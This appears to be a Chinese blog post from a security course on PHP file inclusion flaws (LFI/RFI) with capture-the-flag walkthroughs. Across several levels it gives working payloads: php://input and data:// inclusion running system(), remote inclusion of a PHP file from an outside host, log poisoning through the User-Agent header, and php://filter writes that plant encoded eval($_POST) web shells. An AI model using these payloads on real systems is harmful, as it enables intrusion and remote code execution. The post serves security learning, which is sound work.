WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计

发布于:2022-10-17 ⋅ 阅读:(450) ⋅ 点赞:(0)

目录

知识概要

1、解释

2、实现漏洞的三种方式

3、本地包含LFI&远程包含RFI-区别

4、各类脚本语言包含代码写法

思路点

黑盒发现

白盒发现

CTF案例演示

CTF-78-php&http协议

CTF-79-data&http协议

CTF-80&81-日志包含

CTF-87-php://filter/write&加密编码


知识概要

1、解释

什么是文件包含:

将其他文件直接包含在本页代码中。

文件包含漏洞:

当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。

2、实现漏洞的三种方式

1、配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发

2、配合日志文件进行getshell,日志会记录访问得UA信息,修改UA信息并改为后门代码,包含日志路径并执行后门代码

3、配合会话(session)文件进行getshell。

        session的参考资料: session包含 - lnterpreter - 博客园

4、利用伪协议:php伪协议参考资料

        使用伪协议的条件:

                1、使用伪协议包含文件的函数中只能有变量,不能连接其他路径

                2、查看伪协议的开关是否开启

3、本地包含LFI&远程包含RFI-区别

LFI:只能包含本地

RFI:可以远程加载

具体形成原因由代码和环境配置文件决定

4、各类脚本语言包含代码写法

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

思路点

黑盒发现

主要观察参数传递的数据和文件名是否对应。如果url中有变量接受文件名,尝试给变量赋值其他文件名,要是可以正常显示证明有包含文件漏洞

白盒发现

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

CTF案例演示

CTF-78-php&http协议

payload: ?file=php://input post:<?php system('tac flag.php');?>

源码显示位直接获取文件并直接进行包含

直接利用input伪协议和post访问直接获取flag

 

 

CTF-79-data&http协议

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

该关过滤php,那么直接利用远程包含即可并在远程包含的文件上写入获取flag的代码

 

 

CTF-80&81-日志包含

注意:81与80方法相同,所以值演示80

利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

该关过滤了php,data并且禁用了文件包含漏洞

 

该关使用日志文件,通过查看信息发现中间件的类型nignx。同时搜索日志文件发现可以进行包含

 

 直接访问页面,利用将UA改为获取flag代码,访问日志文件获取flag即可

 

 

 

 

CTF-87-php://filter/write&加密编码

1、利用base64写入文件:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

加解密: Rot13密码 - Rot13 Cipher - 在线工具网

 

 

CTF-88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

 

 

 

 

CTF-117-php://filter/write&新的算法 

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

执行下面PHP代码通过第一次的反转获取payload所加密的php文件内容

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

 

 

 

 

 

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到